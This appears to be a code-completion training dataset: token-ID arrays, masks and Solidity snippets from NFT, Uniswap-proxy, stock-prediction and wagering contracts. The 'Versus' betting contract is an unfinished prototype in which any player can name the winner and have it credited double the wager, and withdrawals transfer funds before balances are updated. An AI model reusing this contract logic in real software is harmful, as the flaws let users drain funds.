[ 1, 16351, 4232, 39, 27, 5340, 2277, 353, 4232, 39, 28275, 16, 4232, 39, 27, 5340, 16, 467, 654, 39, 27, 5340, 2277, 288, 203, 225, 533, 3238, 389, 529, 31, 203, 203, 225, 533, 3238, 389, 7175, 31, 203, 203, 225, 2874, 12, 11890, 5034, 516, 533, 13, 3238, 389, 2316, 1099, 2520, 31, 203, 203, 225, 1731, 24, 3238, 5381, 6682, 548, 67, 654, 39, 27, 5340, 2277, 273, 374, 92, 25, 70, 25, 73, 24347, 74, 31, 203, 203, 225, 3885, 12, 1080, 508, 16, 533, 3273, 13, 1071, 288, 203, 565, 389, 529, 273, 508, 31, 203, 565, 389, 7175, 273, 3273, 31, 203, 203, 565, 389, 4861, 1358, 12, 1358, 548, 67, 654, 39, 27, 5340, 2277, 1769, 203, 225, 289, 203, 203, 225, 445, 508, 1435, 3903, 1476, 1135, 261, 1080, 13, 288, 203, 565, 327, 389, 529, 31, 203, 225, 289, 203, 203, 225, 445, 3273, 1435, 3903, 1476, 1135, 261, 1080, 13, 288, 203, 565, 327, 389, 7175, 31, 203, 225, 289, 203, 203, 225, 445, 1147, 3098, 12, 11890, 5034, 1147, 548, 13, 3903, 1476, 1135, 261, 1080, 13, 288, 203, 565, 2583, 24899, 1808, 12, 2316, 548, 10019, 203, 565, 327, 389, 2316, 1099, 2520, 63, 2316, 548, 15533, 203, 225, 289, 203, 203, 225, 445, 389, 542, 1345, 3098, 12, 11890, 5034, 1147, 548, 16, 533, 2003, 13, 2713, 288, 203, 565, 2583, 24899, 1808, 12, 2316, 548, 10019, 203, 565, 389, 2316, 1099, 2520, 63, 2316, 548, 65, 273, 2003, 31, 203, 225, 2 ]
./partial_match/1/0xa94310AeeD50687f7c39ACdAA5FCd311AEDB25f8/sources/contracts/erc721/ERC721EditionsDFS.sol
* @notice See {IERC721EditionMint-mintOneToRecipient}/
function mintOneToRecipient(uint256 editionId, address recipient) external onlyMinter nonReentrant returns (uint256) { require(_mintFrozen == 0, "Frozen"); require(_editionExists(editionId), "!edition exists"); return _mintEditionsToOne(editionId, recipient, 1); }
3,645,398
[ 1, 9704, 288, 45, 654, 39, 27, 5340, 41, 1460, 49, 474, 17, 81, 474, 3335, 774, 18241, 4004, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 312, 474, 3335, 774, 18241, 12, 11890, 5034, 28432, 548, 16, 1758, 8027, 13, 203, 3639, 3903, 203, 3639, 1338, 49, 2761, 203, 3639, 1661, 426, 8230, 970, 203, 3639, 1135, 261, 11890, 5034, 13, 203, 565, 288, 203, 3639, 2583, 24899, 81, 474, 42, 9808, 422, 374, 16, 315, 42, 9808, 8863, 203, 3639, 2583, 24899, 329, 608, 4002, 12, 329, 608, 548, 3631, 17528, 329, 608, 1704, 8863, 203, 203, 3639, 327, 389, 81, 474, 41, 1460, 11634, 3335, 12, 329, 608, 548, 16, 8027, 16, 404, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.5.16; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } //import "https://raw.githubusercontent.com/smartcontractkit/chainlink/master/evm-contracts/src/v0.6/VRFConsumerBase.sol"; //import "https://github.com/smartcontractkit/chainlink/blob/master/evm-contracts/src/v0.6/interfaces/AggregatorV3Interface.sol"; /* !UPDATE, import aggregator contract */ contract Versus { //TODO limit player to one open game //TODO do not let player join a game if they have an open game //TODO add function canceling pending games //TODO come up with a way better keep track of pending games so when we iterate through them to // display on front end, we are not iterating through every game ever pending. maybe when one game is // completed, put that id into an available vector and only ++ pendingGameId if that vector // is empty //TODO add in taking tax for versus and game dev //TODO support game dev tax //TODO add oracles //TODO additional requires: new game amount > 0 //TODO add depotsit funds button //TODO support multiple games //TODO support multiple players //All for halting games for a contract/site upgrade //TODO add functions for stopping any new games being created //TODO add function that shows number of in progress games //TODO add function that pays out all accounts automatically using SafeMath for uint256; uint256 private _maxFee = 10; uint256 private _fee = 3; uint256 private _pendingGameId; uint256 private inProgressGameId; mapping(uint256 => pendingGame) public pendingGames; mapping(address => inProgressGame) private inProgressGames; mapping(address => player) private playerInfo; string link1; string link2; struct player{ uint256 balance; bool hasPendingGame; uint256 pendingGameId; } struct pendingGame{ uint256 id; uint256 amount; address payable player1; bool isValid; } struct inProgressGame{ uint256 amount; address payable player1; string link1; address payable player2; string link2; bool isValid; } event Withdraw(address admin, uint256 amount); event Result(address player1, address player2, address winner, uint256 winAmount, uint256 time); event Received(address indexed sender, uint256 amount); event InProgressGame(uint256 amount, address player1, string link1, address player2, string link2); event CancelledGame(uint256 gameId); event NewGame(uint256 gameId); /* Allows this contract to receive payments */ function() external payable { playerInfo[msg.sender].balance+=msg.value; emit Received(msg.sender, msg.value); } //All of the getters function getContractBalance() public view returns (uint256) { return address(this).balance; } function getPlayerBalance(address account) public view returns (uint256) { return playerInfo[account].balance; } function getPlayerInfo(address account) public view returns (uint256, bool, uint256) { return (playerInfo[account].balance, playerInfo[account].hasPendingGame, playerInfo[account].pendingGameId); } //Pending Games function getPendingGameId() public view returns (uint256) { return _pendingGameId; } function getPendingGameFields(uint256 pendingGameId) public view returns (uint256, uint256, address payable, bool){ return (pendingGames[pendingGameId].id, pendingGames[pendingGameId].amount, pendingGames[pendingGameId].player1, pendingGames[pendingGameId].isValid); } //In progress Games function getinProgressGameFields(address idIn) public view returns (uint256, address payable, string memory, address payable, string memory, bool){ return (inProgressGames[idIn].amount, inProgressGames[idIn].player1, inProgressGames[idIn].link1, inProgressGames[idIn].player2, inProgressGames[idIn].link2, inProgressGames[idIn].isValid); } function getinProgressGameGameFields(address idIn) public view returns (uint256, bool){ return (inProgressGames[idIn].amount, inProgressGames[idIn].isValid); } function getinProgressGamePlayerFields(address idIn) public view returns (address, string memory, address, string memory){ return (inProgressGames[idIn].player1, inProgressGames[idIn].link1,inProgressGames[idIn].player2, inProgressGames[idIn].link2); } /*function setFeePercent(uint256 fee) external onlyOwner() { require(fee <= _maxFee, "Invalid fee, too high"); //fix 02 WORKS _fee = fee; }*/ /** * Taking bets function. * By winning, user 2x his betAmount. * Chances to win and lose are the same. */ function newGame(uint256 wager) public returns (uint256) { //vault balance must be at least equal to wager require(playerInfo[msg.sender].balance>=wager, 'Error, insufficent account balance'); require(!playerInfo[msg.sender].hasPendingGame, 'Error, player can only have one pending game at a time'); require(!inProgressGames[msg.sender].isValid, "Error, cannot start a new game while in another in progress game"); _pendingGameId+=1; uint256 pendingGameIdLocal = _pendingGameId; pendingGames[pendingGameIdLocal] = pendingGame(pendingGameIdLocal, wager, msg.sender, true); playerInfo[msg.sender].balance-=wager; playerInfo[msg.sender].hasPendingGame = true; playerInfo[msg.sender].pendingGameId = pendingGameIdLocal; emit NewGame(pendingGameIdLocal); } function cancelPendingGame() public { require(playerInfo[msg.sender].hasPendingGame, 'Error, player can only cancel a game if the have one pending'); //set game to not valid, basically erase it pendingGames[playerInfo[msg.sender].pendingGameId].isValid = false; //reset player fields, refund wager amount, no pending game playerInfo[msg.sender].balance+=pendingGames[playerInfo[msg.sender].pendingGameId].amount; playerInfo[msg.sender].hasPendingGame = false; emit CancelledGame(playerInfo[msg.sender].pendingGameId); playerInfo[msg.sender].pendingGameId = 0; } function joinGame(uint256 pendingGameId) public { require(playerInfo[msg.sender].balance>=pendingGames[pendingGameId].amount, 'Error, insufficent account balance to join game.'); require(pendingGames[pendingGameId].player1 != msg.sender, "Error, Cannot join your own game"); require(!inProgressGames[msg.sender].isValid, "Error, cannot join game while already in another in progress game"); //call to oracle to setup lobby //call to oracle to get link to lobby and send inProgressGameId for it to keep track of link1 = "link_to_server_1"; link2 = "link_to_server_2"; require(true, "Oracle call was successful"); playerInfo[msg.sender].balance-=pendingGames[pendingGameId].amount; //create in progress games under each player address inProgressGames[msg.sender] = inProgressGame(pendingGames[pendingGameId].amount, pendingGames[pendingGameId].player1, link1, msg.sender, link2, true); inProgressGames[inProgressGames[msg.sender].player1] = inProgressGame(pendingGames[pendingGameId].amount, pendingGames[pendingGameId].player1, link1, msg.sender, link2, true); //remove pending game from player 1 and set pending game to not valid (basically erase pending game) pendingGames[pendingGameId].isValid = false; playerInfo[inProgressGames[msg.sender].player1].hasPendingGame = false; playerInfo[inProgressGames[msg.sender].player1].pendingGameId = 0; emit InProgressGame(pendingGames[pendingGameId].amount, pendingGames[pendingGameId].player1, link1, msg.sender, link2); } //endGame //Either user can hit button. Game must be over or cancelled. If not, gas will be charged to caller and nothing will happen, //if game is quit by one player, api will return player that did not quit as winner /** * Send rewards to the winner. Contract will call this function internally and deduct gas from winners winnings * TODO make * I am thinking we have a constant java api call that just indicates weather a game is complete or not and the id. This could have winner info in there as well, but * then we also still call the same api in the oracle so it is blockchain verifiable and we verify that the game is complete through oracle. * if someone tampered with java code, it would just create additional gas fees for the users, no one would profit */ function endGame(address winnerIn) public payable { require(inProgressGames[msg.sender].isValid, "Error, Can only call end game if the game is valid"); require(inProgressGames[msg.sender].player1==msg.sender || inProgressGames[msg.sender].player2==msg.sender , "Error, Can only call end game if you are a player in the game"); require(!playerInfo[msg.sender].hasPendingGame, "Error, cannot join game if player has a pending game"); //Eventually call to oracle to verify game is finished and get winner address bool gameFinished = true; require(gameFinished,"Error, game must be finished or cancled in order to end game"); address winner = winnerIn; //inProgressGames[msg.sender].player1; //player 1 always winner for now address loser; if(inProgressGames[msg.sender].player1 == winnerIn){ loser = inProgressGames[msg.sender].player2; }else{ loser = inProgressGames[msg.sender].player2; } require(winner!=loser,"Winner and loser cannot be the same"); //TODO add in taking tax for versus and game dev //playerInfo[loser].balance-=inProgressGames[msg.sender].amount; playerInfo[winner].balance+=inProgressGames[msg.sender].amount.mul(2); //remove finished game from map by setting isValid false (basically erase in progress game) inProgressGames[inProgressGames[msg.sender].player1].isValid = false; inProgressGames[inProgressGames[msg.sender].player2].isValid = false; emit Result(inProgressGames[msg.sender].player1, inProgressGames[msg.sender].player2, winner, inProgressGames[msg.sender].amount.mul(2), block.timestamp); } /** * Withdraw Ether from this contract (admin option). */ function withdrawEther(uint256 amount) external payable { require(playerInfo[msg.sender].balance>=amount, 'Error, insufficent balance'); //TODO update truffle and compiler so we can use call //(bool success,) = player.call{value: amount}(""); //require(success, "Failed to withdraw currency"); msg.sender.transfer(amount); playerInfo[msg.sender].balance-=amount; //update player balance emit Withdraw(msg.sender, amount); } }
TODO limit player to one open gameTODO do not let player join a game if they have an open gameTODO add function canceling pending gamesTODO come up with a way better keep track of pending games so when we iterate through them to display on front end, we are not iterating through every game ever pending. maybe when one game is completed, put that id into an available vector and only ++ pendingGameId if that vector is emptyTODO add in taking tax for versus and game devTODO support game dev taxTODO add oraclesTODO additional requires: new game amount > 0TODO add depotsit funds buttonTODO support multiple gamesTODO support multiple playersAll for halting games for a contract/site upgradeTODO add functions for stopping any new games being createdTODO add function that shows number of in progress gamesTODO add function that pays out all accounts automatically
contract Versus { using SafeMath for uint256; uint256 private _maxFee = 10; uint256 private _fee = 3; uint256 private _pendingGameId; uint256 private inProgressGameId; mapping(uint256 => pendingGame) public pendingGames; mapping(address => inProgressGame) private inProgressGames; mapping(address => player) private playerInfo; string link1; string link2; struct player{ uint256 balance; bool hasPendingGame; uint256 pendingGameId; } struct pendingGame{ uint256 id; uint256 amount; address payable player1; bool isValid; } struct inProgressGame{ uint256 amount; address payable player1; string link1; address payable player2; string link2; bool isValid; } event Withdraw(address admin, uint256 amount); event Result(address player1, address player2, address winner, uint256 winAmount, uint256 time); event Received(address indexed sender, uint256 amount); event InProgressGame(uint256 amount, address player1, string link1, address player2, string link2); event CancelledGame(uint256 gameId); event NewGame(uint256 gameId); function() external payable { playerInfo[msg.sender].balance+=msg.value; emit Received(msg.sender, msg.value); } function getContractBalance() public view returns (uint256) { return address(this).balance; } function getPlayerBalance(address account) public view returns (uint256) { return playerInfo[account].balance; } function getPlayerInfo(address account) public view returns (uint256, bool, uint256) { return (playerInfo[account].balance, playerInfo[account].hasPendingGame, playerInfo[account].pendingGameId); } function getPendingGameId() public view returns (uint256) { return _pendingGameId; } function getPendingGameFields(uint256 pendingGameId) public view returns (uint256, uint256, address payable, bool){ return (pendingGames[pendingGameId].id, pendingGames[pendingGameId].amount, pendingGames[pendingGameId].player1, pendingGames[pendingGameId].isValid); } function getinProgressGameFields(address idIn) public view returns (uint256, address payable, string memory, address payable, string memory, bool){ return (inProgressGames[idIn].amount, inProgressGames[idIn].player1, inProgressGames[idIn].link1, inProgressGames[idIn].player2, inProgressGames[idIn].link2, inProgressGames[idIn].isValid); } function getinProgressGameGameFields(address idIn) public view returns (uint256, bool){ return (inProgressGames[idIn].amount, inProgressGames[idIn].isValid); } function getinProgressGamePlayerFields(address idIn) public view returns (address, string memory, address, string memory){ return (inProgressGames[idIn].player1, inProgressGames[idIn].link1,inProgressGames[idIn].player2, inProgressGames[idIn].link2); } _fee = fee; }*/
5,382,849
[ 1, 6241, 1800, 7291, 358, 1245, 1696, 7920, 6241, 741, 486, 2231, 7291, 1233, 279, 7920, 309, 2898, 1240, 392, 1696, 7920, 6241, 527, 445, 3755, 310, 4634, 28422, 6241, 12404, 731, 598, 279, 4031, 7844, 3455, 3298, 434, 4634, 28422, 1427, 1347, 732, 7401, 3059, 2182, 358, 2562, 603, 6641, 679, 16, 732, 854, 486, 13099, 3059, 3614, 7920, 14103, 4634, 18, 6944, 1347, 1245, 7920, 353, 5951, 16, 1378, 716, 612, 1368, 392, 2319, 3806, 471, 1338, 965, 4634, 12496, 548, 309, 716, 3806, 353, 1008, 6241, 527, 316, 13763, 5320, 364, 14690, 407, 471, 7920, 4461, 6241, 2865, 7920, 4461, 5320, 6241, 527, 578, 69, 9558, 6241, 3312, 4991, 30, 394, 7920, 3844, 405, 374, 6241, 527, 5993, 6968, 305, 284, 19156, 3568, 6241, 2865, 3229, 28422, 6241, 2865, 3229, 18115, 1595, 364, 19514, 1787, 28422, 364, 279, 6835, 19, 4256, 8400, 6241, 527, 4186, 364, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 776, 414, 407, 288, 203, 203, 203, 203, 203, 203, 225, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 225, 2254, 5034, 3238, 389, 1896, 14667, 273, 1728, 31, 203, 225, 2254, 5034, 3238, 389, 21386, 273, 890, 31, 203, 225, 2254, 5034, 3238, 389, 9561, 12496, 548, 31, 203, 225, 2254, 5034, 3238, 316, 5491, 12496, 548, 31, 203, 203, 225, 2874, 12, 11890, 5034, 516, 4634, 12496, 13, 1071, 4634, 43, 753, 31, 203, 225, 2874, 12, 2867, 516, 316, 5491, 12496, 13, 3238, 316, 5491, 43, 753, 31, 203, 225, 2874, 12, 2867, 516, 7291, 13, 3238, 7291, 966, 31, 203, 203, 225, 533, 1692, 21, 31, 203, 225, 533, 1692, 22, 31, 203, 203, 203, 225, 1958, 7291, 95, 203, 565, 2254, 5034, 11013, 31, 203, 565, 1426, 711, 8579, 12496, 31, 203, 565, 2254, 5034, 4634, 12496, 548, 31, 203, 225, 289, 203, 203, 225, 1958, 4634, 12496, 95, 203, 565, 2254, 5034, 612, 31, 203, 565, 2254, 5034, 3844, 31, 203, 565, 1758, 8843, 429, 7291, 21, 31, 203, 565, 1426, 4908, 31, 203, 225, 289, 203, 203, 225, 1958, 316, 5491, 12496, 95, 203, 565, 2254, 5034, 3844, 31, 203, 565, 1758, 8843, 429, 7291, 21, 31, 203, 565, 533, 1692, 21, 31, 203, 565, 1758, 8843, 429, 7291, 22, 31, 203, 565, 533, 1692, 22, 31, 203, 565, 1426, 4908, 31, 203, 225, 289, 203, 203, 225, 871, 3423, 9446, 12, 2867, 3981, 16, 2254, 5034, 3844, 1769, 203, 225, 871, 3438, 12, 2867, 2 ]
./full_match/1/0x6788A77C6e673754d778B35AC2bacF63829CA1aB/sources/src/swap/UniswapV2Proxy.sol
* @notice recover accidently sent ETH to the contract/
function recoverETH() external onlyOwner { uint256 balance = address(this).balance; if (balance > 0) { payable(msg.sender).transfer(balance); } emit RecoverETH(msg.sender, balance); }
3,865,405
[ 1, 266, 3165, 25961, 715, 3271, 512, 2455, 358, 326, 6835, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 5910, 1584, 44, 1435, 3903, 1338, 5541, 288, 203, 3639, 2254, 5034, 11013, 273, 1758, 12, 2211, 2934, 12296, 31, 203, 3639, 309, 261, 12296, 405, 374, 13, 288, 203, 5411, 8843, 429, 12, 3576, 18, 15330, 2934, 13866, 12, 12296, 1769, 203, 3639, 289, 203, 3639, 3626, 868, 3165, 1584, 44, 12, 3576, 18, 15330, 16, 11013, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: UNLICENSED pragma experimental ABIEncoderV2; pragma solidity >=0.6.0; import "@openzeppelin/contracts/math/SafeMath.sol"; /** * Smart Contract to store predictions for DAX stocks */ contract PredictionsDB { using SafeMath for uint256; // Payable constructor can receive Ether constructor() public { owner = payable(msg.sender); } struct Prediction { address predictor; string symbol; string date; uint256 unixDate; uint256 price; bool checked; } // Payable address can receive Ether address payable public owner; address private cbContract; mapping(address => Prediction[]) public predictions; // modifier that requires a date in unix format to be within Xetra opening hours modifier withinOpeningHours(uint256 _unixDate) { require( _unixDate > now && _unixDate.div(3600).mod(24) >= 7 && _unixDate.div(3600).mod(24) <= 15 && _unixDate.div(86400).add(4).mod(7) >= 1 && _unixDate.div(86400).add(4).mod(7) <= 5, "Insufficient date!" ); if (_unixDate.div(3600).mod(24) == 15) { require(_unixDate.div(60).mod(60) <= 30, "Insufficient date!"); } _; } // modifier that requires that there is no similar prediction modifier onlyNewPredictions( address _predictor, uint256 _unixDate, string memory _symbol, uint256 _price ) { bool existingPrediction; for (uint256 i = 0; i < predictions[_predictor].length; i++) { if ( predictions[_predictor][i].unixDate == _unixDate && (keccak256( abi.encodePacked((predictions[_predictor][i].symbol)) ) == keccak256(abi.encodePacked((_symbol)))) && predictions[_predictor][i].price == _price ) { existingPrediction = true; } } require(existingPrediction == false, "Prediction already exists!"); _; } // modifier that requires that a predictor has at least one prediction modifier onlyPredictors(address _predictor) { require( predictions[_predictor].length > 0, "No predictions available!" ); _; } // modifier that requires the contract owner modifier onlyOwner() { require(msg.sender == owner, "Caller is not the owner"); _; } // modifier that requires the contract owner modifier onlyRepTokenContract() { require( msg.sender == cbContract, "Caller is not the RepToken contract" ); _; } event PredictionAdded( address predictor, string symbol, string date, uint256 price ); /** * Function to add a prediction to the mapping predictions, only within Xetra opening hours * * @param _symbol - the symbol of the DAX stock (e.g. "DAI") * @param _date - the date in the future of the prediction, within Xetra opening hours (e.g. 2021-06-17 17:28) * @param _unixDate - same as _date but in unix format (e.g. 1623943680) * @param _price - real price multiplied by 100000 to get rid of comma (e.g. 79.41000 * 10000 => 7941000) */ function addPrediction( string calldata _symbol, string calldata _date, uint256 _unixDate, uint256 _price ) external withinOpeningHours(_unixDate) onlyNewPredictions(msg.sender, _unixDate, _symbol, _price) { predictions[msg.sender].push( Prediction(msg.sender, _symbol, _date, _unixDate, _price, false) ); emit PredictionAdded(msg.sender, _symbol, _date, _price); } /** * Function to get predictions from the mapping predictions * * @param _predictor - the address of the predictor */ function getPredictions(address _predictor) external view onlyPredictors(_predictor) returns ( string[] memory, string[] memory, uint256[] memory, uint256[] memory, bool[] memory ) { string[] memory symbols = new string[](predictions[_predictor].length); string[] memory dates = new string[](predictions[_predictor].length); uint256[] memory unixDates = new uint256[]( predictions[_predictor].length ); uint256[] memory prices = new uint256[](predictions[_predictor].length); bool[] memory checks = new bool[](predictions[_predictor].length); for (uint256 i = 0; i < predictions[_predictor].length; i++) { symbols[i] = predictions[_predictor][i].symbol; dates[i] = predictions[_predictor][i].date; unixDates[i] = predictions[_predictor][i].unixDate; prices[i] = predictions[_predictor][i].price; checks[i] = predictions[_predictor][i].checked; } return (symbols, dates, unixDates, prices, checks); } /** * Function to set that a prediction was checked * * @param _predictor - the address of the predictor * @param index - the index of the prediction */ function setPredictionChecked(address _predictor, uint256 index) external onlyRepTokenContract { predictions[_predictor][index].checked = true; } /** * Function to set the contract address that can call the StockAPI * * @param _cbContract - address of the calling contract for callback */ function setCallerContract(address _cbContract) external onlyOwner { cbContract = _cbContract; } function kill() external onlyOwner { selfdestruct(owner); } }
modifier that requires the contract owner
modifier onlyOwner() { require(msg.sender == owner, "Caller is not the owner"); _; }
1,830,010
